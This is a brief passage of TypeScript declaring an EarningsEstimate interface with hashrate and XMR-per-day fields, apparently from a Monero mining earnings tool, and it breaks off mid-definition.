export interface EarningsEstimate {
hashrate: number;
xmr_per_day: number;